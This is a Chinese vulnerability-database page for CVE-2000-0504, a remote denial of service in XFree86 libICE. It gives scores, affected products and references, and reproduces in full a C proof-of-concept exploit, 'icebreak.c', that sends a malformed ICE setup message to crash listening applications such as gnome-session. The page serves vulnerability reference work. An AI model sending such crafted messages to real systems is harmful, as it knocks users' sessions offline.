CVE-2000-0504
CVSS5.0
发布时间 :2000-06-19 00:00:00
修订时间 :2008-09-10 15:04:50
NMCOE    

[原文]libICE in XFree86 allows remote attackers to cause a denial of service by specifying a large value which is not properly checked by the SKIP_STRING macro.


[CNNVD]XFree86 libICE拒绝服务漏洞(CNNVD-200006-071)

        XFree86中libICE存在漏洞。远程攻击者借助指定不能被SKIP_STRING宏正确检查的超大值导致拒绝服务漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:open_group:x:11.0r6.4
cpe:/a:xfree86_project:x11r6:3.3.4
cpe:/a:open_group:x:11.0r6.3
cpe:/a:xfree86_project:x11r6:3.3.5
cpe:/a:open_group:x:11.0r6.2
cpe:/a:xfree86_project:x11r6:3.3.6
cpe:/a:open_group:x:11.0r6
cpe:/a:xfree86_project:x11r6:3.3.3
cpe:/a:xfree86_project:x11r6:4.0
cpe:/a:gnome:gdm:1.1
cpe:/a:open_group:x:11.0r5
cpe:/a:gnome:gdm:1.0
cpe:/a:open_group:x:11.0r6.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0504
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0504
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200006-071
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1369
(VENDOR_ADVISORY)  BID  1369
http://www.xfree86.org/security/
(UNKNOWN)  CONFIRM  http://www.xfree86.org/security/
http://archives.neohapsis.com/archives/bugtraq/2000-06/0170.html
(VENDOR_ADVISORY)  BUGTRAQ  20000619 XFree86: libICE DoS

- 漏洞信息

XFree86 libICE拒绝服务漏洞
中危 未知
2000-06-19 00:00:00 2005-05-02 00:00:00
远程  
        XFree86中libICE存在漏洞。远程攻击者借助指定不能被SKIP_STRING宏正确检查的超大值导致拒绝服务漏洞。

- 公告与补丁

        

- 漏洞信息 (20023)

Gnome 1.0/1.1,Group X 11.0,XFree86 X11R6 3.3.x/4.0 Denial of Service (EDBID:20023)
linux dos
2000-06-19 Verified
0 Chris Evans
N/A [点击下载]
source: http://www.securityfocus.com/bid/1369/info

A denial of service vulnerability exists in libICE, part of the X11 windowing system. Any libICE application which creates inet listening sockets can be remotely crashed. This is due to a bug in the handling of the SKIP_STRING macro. By supplying a large value for the skip value, it is possible to cause a pointer to point to uninitialized memory. This in turn will cause a segfault.

This vulnerability will affect any application using TCP listening sockets in libICE. However, one more widespread use of libICE in this configuration is in the gnome-session program, part of the GNOME package. It is possible to cause the X session of a user to end by performing this denial of service against someone running GNOME.

/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, const char* argv[])
{
  unsigned char c;
  unsigned int i;
  unsigned short s;
  char blankbuf[1000];

  memset(blankbuf, '\0', sizeof(blankbuf));

  /* Assume fd 1 is stdout */

  /* ICE connection header */
  /* First, pick an endian-ness */
  /* Byte 1: Major opcode. Must be 0 */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
  c = 1;
  write(1, &c, 1);
  /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
  c = 0;
  write(1, &c, 1);
  /* Byte 4: Unused. Write 0 */
  c = 0;
  write(1, &c, 1);
  /* Bytes 5-8: integer length. Must be zero for byte-order message. */
  i = 0;
  write(1, &i, 4);

  /* Next message - ICE_ConnectionSetup */
  /* Byte 1: Major opcode. 0 for core ICE protocol message */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
  c = 2;
  write(1, &c, 1);
  /* Bytes 3, 4: versionCount & authCount */
  c = 255;
  write(1, &c, 1);
  write(1, &c, 1);
  /* Bytes 5-8, int length. Must be at least 8 */
  i = 8;
  write(1, &i, 4);
  /* Now, bytes are part of iceConnectionSetupMsg */
  /* This is an extra 8 bytes */
  /* Byte 1: "must authenticate" */
  c = 0;
  write(1, &c, 1);
  /* Bytes 2-8: unused */
  write(1, blankbuf, 7);

  /* Now we're writing into the malloc'ed message data space */
  /* First, a string. Give it's 16bit length a big value to get ICE code
   * to iterate off the end of the buffer
   */
  s = 65535;
  write(1, &s, 2);

  /* And some blank to get the (total) 56 char data read finished */
  write(1, blankbuf, 54);
}
		

- 漏洞信息

1412
libICE SKIP_STRING Macro Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-06-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站